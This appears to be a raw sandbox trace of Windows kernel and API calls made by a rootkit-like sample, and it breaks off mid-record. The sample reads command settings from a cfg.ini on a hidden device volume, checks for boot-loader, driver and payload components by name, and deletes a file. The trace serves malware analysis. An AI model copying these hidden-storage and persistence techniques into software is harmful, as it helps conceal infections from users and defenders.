[0121.183] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.183] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035d0000 [0121.183] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.183] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.183] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.183] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.183] IdePortDispatch () returned 0x103 [0121.183] KeWaitForMutexObject () returned 0x0 [0121.183] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.183] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.183] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.183] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.183] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.183] IdePortDispatch () returned 0x103 [0121.183] KeWaitForMutexObject () returned 0x0 [0121.184] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.184] KeLeaveCriticalRegion () [0121.184] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.184] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.184] KeEnterCriticalRegion () [0121.184] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.184] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.184] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.184] KeLeaveCriticalRegion () [0121.184] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.184] KeEnterCriticalRegion () [0121.184] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.184] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.184] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc34c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.184] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.184] KeLeaveCriticalRegion () [0121.184] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.184] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.184] KeEnterCriticalRegion () [0121.184] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.184] ExFreePoolWithTag (P=0xfffffa8003bc3fb0, Tag=0x0) [0121.184] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.184] KeLeaveCriticalRegion () [0121.184] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.185] ReleaseMutex (hMutex=0xf0) returned 1 [0121.185] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.185] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.185] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.185] KeEnterCriticalRegion () [0121.185] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.185] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.185] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.185] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.185] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.185] IdePortDispatch () returned 0x103 [0121.185] KeWaitForMutexObject () returned 0x0 [0121.185] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.185] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.185] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.185] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.185] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.185] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc3b60 [0121.185] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.185] KeLeaveCriticalRegion () [0121.185] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.185] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.185] KeEnterCriticalRegion () [0121.185] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.185] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.185] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.185] KeLeaveCriticalRegion () [0121.186] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.186] KeEnterCriticalRegion () [0121.186] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.186] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.186] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.186] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.186] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.186] IdePortDispatch () returned 0x103 [0121.186] KeWaitForMutexObject () returned 0x0 [0121.186] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.186] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.186] KeLeaveCriticalRegion () [0121.186] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.186] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.186] KeEnterCriticalRegion () [0121.186] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.186] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035d1000 [0121.186] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.186] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.186] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.186] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.186] IdePortDispatch () returned 0x103 [0121.186] KeWaitForMutexObject () returned 0x0 [0121.187] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.187] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.187] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.187] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.187] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.187] IdePortDispatch () returned 0x103 [0121.187] KeWaitForMutexObject () returned 0x0 [0121.187] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.187] KeLeaveCriticalRegion () [0121.187] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.187] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.187] KeEnterCriticalRegion () [0121.187] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.187] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.187] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.187] KeLeaveCriticalRegion () [0121.187] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.187] KeEnterCriticalRegion () [0121.187] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.187] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.187] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.188] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.188] KeLeaveCriticalRegion () [0121.188] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.188] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.188] KeEnterCriticalRegion () [0121.188] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.188] ExFreePoolWithTag (P=0xfffffa8003bc3b60, Tag=0x0) [0121.188] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.188] KeLeaveCriticalRegion () [0121.188] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.188] ReleaseMutex (hMutex=0xf0) returned 1 [0121.188] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.188] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.188] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.188] KeEnterCriticalRegion () [0121.188] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.188] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.188] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.188] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.188] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.188] IdePortDispatch () returned 0x103 [0121.188] KeWaitForMutexObject () returned 0x0 [0121.188] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.188] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.188] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.188] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.188] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.188] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b67ca0 [0121.188] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.188] KeLeaveCriticalRegion () [0121.188] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.188] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.189] KeEnterCriticalRegion () [0121.189] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.189] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.189] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.189] KeLeaveCriticalRegion () [0121.189] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.189] KeEnterCriticalRegion () [0121.189] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.189] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.189] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.189] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.189] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.189] IdePortDispatch () returned 0x103 [0121.189] KeWaitForMutexObject () returned 0x0 [0121.189] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.189] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.189] KeLeaveCriticalRegion () [0121.189] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.189] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.189] KeEnterCriticalRegion () [0121.189] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.189] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035d2000 [0121.189] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.189] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.189] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.189] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.189] IdePortDispatch () returned 0x103 [0121.189] KeWaitForMutexObject () returned 0x0 [0121.189] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.189] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.190] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.190] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.190] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.190] IdePortDispatch () returned 0x103 [0121.190] KeWaitForMutexObject () returned 0x0 [0121.190] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.190] KeLeaveCriticalRegion () [0121.190] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.190] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.190] KeEnterCriticalRegion () [0121.190] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.190] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.190] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.190] KeLeaveCriticalRegion () [0121.190] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.190] KeEnterCriticalRegion () [0121.190] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.190] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.190] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.190] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.190] KeLeaveCriticalRegion () [0121.190] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.190] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.191] KeEnterCriticalRegion () [0121.191] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.191] ExFreePoolWithTag (P=0xfffffa8003b67ca0, Tag=0x0) [0121.191] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.191] KeLeaveCriticalRegion () [0121.191] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.191] ReleaseMutex (hMutex=0xf0) returned 1 [0121.191] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.191] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.191] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.191] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.191] KeEnterCriticalRegion () [0121.191] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.191] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.191] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.191] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.191] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.191] IdePortDispatch () returned 0x103 [0121.191] KeWaitForMutexObject () returned 0x0 [0121.191] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.191] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.191] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.191] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.191] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.191] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.191] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.191] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.191] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.191] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.191] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.191] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.191] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.191] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.191] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.191] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.191] KeLeaveCriticalRegion () [0121.191] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.191] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.192] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.192] KeEnterCriticalRegion () [0121.192] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.192] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.192] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.192] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.192] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.192] IdePortDispatch () returned 0x103 [0121.192] KeWaitForMutexObject () returned 0x0 [0121.192] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.192] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.192] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.192] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.192] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.192] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.192] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.192] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.192] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.192] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.192] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.192] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.192] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.192] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.192] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.192] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.192] KeLeaveCriticalRegion () [0121.192] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.192] ReleaseMutex (hMutex=0x100) returned 1 [0121.192] Sleep (dwMilliseconds=0x2bf20) [0121.198] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b6f3230, dwHighDateTime=0x1d24fa4)) [0121.198] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.198] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.198] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.198] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.198] KeEnterCriticalRegion () [0121.198] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.198] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.198] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 